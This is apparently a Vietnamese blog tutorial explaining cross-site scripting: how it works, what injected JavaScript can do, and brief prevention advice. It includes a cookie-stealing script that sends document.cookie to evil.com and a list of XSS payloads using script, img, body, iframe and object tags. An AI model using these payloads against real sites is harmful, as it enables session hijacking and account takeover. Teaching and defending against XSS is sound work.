Lỗ hổng XSS là gì? Làm sao để khắc phục nó

0

Cross-site Scripting (XSS) là gì?

Cross-site Scripting (XSS) là kỹ thuật tấn công code injection ngay trên phía client. Kẻ tấn công nhằm mục đích khai thác các lệnh độc hại trong trình duyệt web của nạn nhân bằng cách đưa các đoạn mã độc vào trong các ứng dụng hoặc trình duyệt web. Cuộc tấn công XSS chỉ thực sự diễn ra khi nạn nhân truy cập vào trang web hoặc ứng dụng thực thi các đoạn mã độc. Trang web hoặc ứng dụng web sẽ trở thành phương tiện giúp kẻ tấn công phân phối mã độc tới trình duyệt web người dùng. Các phương tiện dính lỗ hổng bảo mật thường là các forum, trang thông báo và các trang web cho phép bình luận.

Xem thêm: 6 mẹo tăng cường bảo mật cho cloud computing

Trang web hoặc ứng dụng web dính lỗ hổng bảo mật XSS nếu nó sử dụng các dữ liệu đầu vào người dùng mà không được xác nhận đúng bởi đầu ra. Dữ liệu đầu vào người dùng này sau đó được phân tích bởi trình duyệt nạn nhân. Cuộc tấn công XSS hoàn toàn có thể xảy ra trong VBScript, ActiveX, Flash hay thậm chí là CSS. Tuy nhiên, chúng không phổ biến bằng Javascript, chủ yếu là bởi vì javascript là nền tảng cho hầu hết các trải nghiệm của người dùng trên internet.

Có phải XSS không phải là vấn đề của người dùng?

Nếu một kẻ tấn công có thể lạm dụng lỗ hổng XSS trên một trang web để thực thi một mã Javascript tùy ý trên trình duyệt người dùng, thì bảo mật của website hay ứng dụng web đó và người dùng của nó bị xâm phạm. XSS không phải vấn đề của người dùng giống như các lỗ hổng bảo mật khác. Nếu nó ảnh hưởng đến người dùng của bạn, thì nó ảnh hưởng đến bạn.

Cross-site Scripting cũng có thể được sử dụng để deface website thay vì nhắm mục tiêu vào người dùng. Kẻ tấn công dùng các đoạn mã injection để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt người dùng tới một website khác.

Kẻ tấn công có thể làm gì với Javascript?

Lỗ hổng bảo mật XSS được coi là ít nguy hiểm hơn so với lỗ hổng huyền thoại SQL injection. Hậu quả của việc có khả năng thực thi Javascript trên một trang web ban đầu bạn nghĩ có vẻ không nghiêm trọng. Nhưng hầu hết các trình duyệt chạy Javascript trong một môi trường được kiểm soát bảo mật chặt chẽ. Javascript bị giới hạn truy cập tới hệ điều hành người dùng và các file dữ liệu người dùng. Tuy nhiên, Javascript có thể vẫn cực kỳ nguy hiểm nếu như nó bị lạm dụng và trở thành các đoạn mã độc hại.

  • Javascript độc hại có thể truy cập tới tất cả các đối tượng là phần còn lại trang web có thể truy cập tới. Bao gồm cả việc truy cập đến cookie người dùng. Cookie thường được sử dụng để lưu trữ session token. Nếu kẻ tấn công có thể có được session người dùng, họ có thể giả mạo được danh tính người dùng thực sự và có thể thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó.
  • Javascript có thể đọc DOM trình duyệt và tạo ra các chỉnh sửa tùy ý cho nó. Tuy nhiên là chỉ có một số phần trên trang web nơi mà javascript chạy.
  • Javascript có thể dùng object XMLHttpRequest để gửi truy vấn HTTP với các nội dung tuỳ ý tới các điểm đích tùy ý.
  • Javascript trong các trình duyệt hiện đại có thể dùng HTML5 APIs. Ví dụ, nó có thể truy cập tới vị trí địa lý của người dùng, webcam, microphone, và thậm chí là cả những file dữ liệu cụ thể trên hệ điều hành của người dùng. Nhưng hầu hết API đều yêu cầu cấp quyền truy cập từ người dùng, những những kẻ tấn công vẫn có thể sử dụng thêm một số phương pháp khác như social engineering để đi xa hơn.

Như ở trên mình đã nói, nếu như kết hợp với social engineering, sẽ cho phép những tên tội phạm thực hiện các cuộc tấn công nâng cao như ăn trộm cookies, gắn trojan, keylogger, phishing, và ăn trộm danh tính. Lỗ hổng XSS cung cấp một nền tảng hoàn hảo để tấn công leo thang đặc quyền dẫn đến những sự cố trầm trọng hơn nữa. Cross-site Scripting cũng có thể được dùng với các loại tấn công khác, ví dụ như là Cross-site Request Forgery (CSRF).

Xem thêm:

Có một số loại tấn công XSS: stored/persistent XSS, reflected/non-persistent XSS và Dom-based XSS.

Kiểu tấn công XSS hoạt động ra sao?

Có hai giai đoạn cho một cuộc tấn công XSS cụ thể.

  1. Để chạy mã javascript độc hại trong trình duyệt của nạn nhân, kẻ tấn công cần phải tìm cách để tiêm mã (payload) vào trang web và nạn nhân truy cập.
  2. Sau đó, nạn nhân phải truy cập trang web với trang chứa đoạn mã độc hại đó. Nếu cuộc tấn công nhắm vào một nạn nhân cụ thể, kẻ tấn công có thể dùng kỹ thuật social engineering và/hoặc phishing để gửi URL chứa mã độc tới nạn nhân.

Đối với giai đoạn đầu tiên để có thể diễn ra thành công, trang web cần có những mục nhập dữ liệu đầu vào người dùng. Kẻ tấn công sau đó chèn chuỗi mã độc mà sẽ được dùng trong trang web và coi đó như là mã nguồn của trình duyệt người dùng. Ngoài ra các biến thể khác của kiểu tấn công XSS cũng được sử dụng, trong đó kẻ tấn công sẽ dụ người dùng ghé thăm một địa chỉ website sử dụng kỹ thuật social engineering và payload là một phần nằm trong đường link mà người dùng click vào.

Đoạn code dưới đây mô tả giả lập code phía server được sử dụng để in thông tin về các bình luận trên trang web.

print "<html>"
print "<h1>Bình luận mới nhất</h1>"
print database.latestComment
print "</html>"

Đoạn code bên trên đơn giản chỉ lấy những bình luận mới nhất và đưa danh sách những bình luận đó vào trong trang HTML. Giả sử rằng những bình luận này được in ra chỉ bao gồm các lời bình luận mà không chứa bất cứ thẻ HTML nào cả. Thì nó là lỗ hổng XSS, vì kẻ tấn công có thể gửi nhiều bình luận chứa các đoạn payload độc hại. Ví dụ:

<script>ahihi();</script>

Máy chủ web cung cấp những dòng code HTML tới người dùng ghé thăm trang web thì họ sẽ nhận được những đoạn mã như sau:

<html>
<h1>Bình luận mới nhất</h1>
<script>ahihi();</script>
</html>

Và khi trang web được tải vào trình duyệt của nạn nhân, đoạn mã độc của kẻ tấn công được thực thi ngay trên trình duyệt của nạn nhân. Hầu hết thì nạn nhân không hề nhận ra và ngăn cản được cuộc tấn công này.

Đánh cắp cookies bằng cách sử dụng XSS

Tội phạm công nghệ cao thường sử dụng XSS để đánh cắp cookies. Nó cho phép kẻ tấn công mạo danh nạn nhân trên website họ truy cập. Kẻ tấn công có thể gửi cookie tới các máy chủ của họ theo nhiều cách khác nhau. Một trong số đó là thực thi những đoạn script phía client như sau:

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>

Hình ảnh dưới đây mô tả qua quá trình tấn công XSS đơn giản.

  1. Kẻ tấn công tiêm đoạn mã vào trong databases của website bằng cách gửi các form bình luận chứa mã độc.
  2. Nạn nhân gửi truy vấn trang web từ web server.
  3. Web server sẽ phản hồi lại nạn nhân bằng trang web được họ yêu cầu chứa mã độc, là một phần của khối mã HTML.
  4. Trình duyệt nạn nhân thực thi các đoạn mã độc hại chứa payload của kẻ tấn công trong khối mã HTML. Trong trường hợp này, nó sẽ gửi cookie của nạn nhân tới máy chủ của kẻ tấn công.
  5. Kẻ tấn công từ bây giờ chỉ cần trích xuất cookie của nận nhân khi các truy vấn HTTP được gửi tới web server.
  6. Kẻ tấn công bây giờ có thể sử dụng cookie bị đánh cắp của nạn nhân để giả mạo danh tính.

Danh sách payload tấn công XSS

Dưới đây là danh sách các đoạn payload tấn công XSS phổ biến mà một kẻ tấn công có thể sử dụng để phá vỡ tính năng bảo mật website của một website hoặc ứng dụng web thông qua tấn công XSS.

Thẻ <script>

Thẻ <script> được coi là payload XSS đơn giản nhất. Thẻ script có thể tham chiếu tới các đoạn mã Javascript từ bên ngoài, hoặc các đoạn mã javascript trong trang web.

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

Javascript events

Thuộc tính Javascript events như là onload và onerror có thể được dùng trong nhiều tag khác nhau. Đây là một trong những payload tấn công XSS phổ biến nhất.

<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>

Thẻ <body>

Payload XSS có thể được đặt trong thẻ <body> bằng cách sử dụng thuộc tính event (xem bên trên) hoặc thuộc tính background.

<!-- background attribute -->
<body background="javascript:alert("XSS")">

Thẻ <img>

Một số trình duyệt thực thi các đoạn mã Javascript nằm trong thuộc tính <img>

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

Thẻ <iframe>

Thẻ <iframe> cho phép bạn nhúng một trang web HTML khác vào trang hiện tại. Thẻ <Iframe> có thể chứa các đoạn mã Javascript nhưng Javascript trong Iframe không có quyền truy cập tới DOM của trang hiện tại do chính sách bảo mật nội dung hay Content Security Policy (CSP) của trình duyệt.

<!-- <iframe> tag XSS -->
<iframe src="https://evil.com/xss.html">

Thẻ <input>

Trong một số trình duyệt, nếu thuộc tính type của thẻ <input> được set image, nó có thể được thực hiện để nhúng một đoạn script.

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

Thẻ <link>

Thẻ <link> thường được sử dụng để liên kết tới một trang web bên ngoài, và nó cũng có thể chứa các đoạn mã script.

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

Thẻ <table>

Thuộc tính background của thẻ <table> và <td> có thể bị khai thác tham chiếu tới một đoạn script thay vì một bức ảnh.

<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">

Thẻ <div>

Thẻ <div> tương tự như <table> và <td> có thể chỉnh định đến background và do đó có thể nhúng script.

Thẻ <object>

Thẻ <object> có thể được sử dụng để nhúng vào một đoạn scrip từ bên ngoài .

<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://blog.vu-review.com/xss.html">

Làm sao để ngăn chặn XSS?

Để giữ bản thân của bạn luôn an toàn khỏi lỗ hổng bảo mật XSS trên thế giới internet. Bạn cần phải kiểm tra và lọc dữ liệu đầu vào của mình. Ứng dụng của bạn không bao giờ được export hết dữ liệu của mình ra giống hoàn toàn với dữ liệu đầu vào, trực tiếp tới trình duyệt người dùng mà không kiểm tra các đoạn mã độc hại.

5/5 (3 Reviews)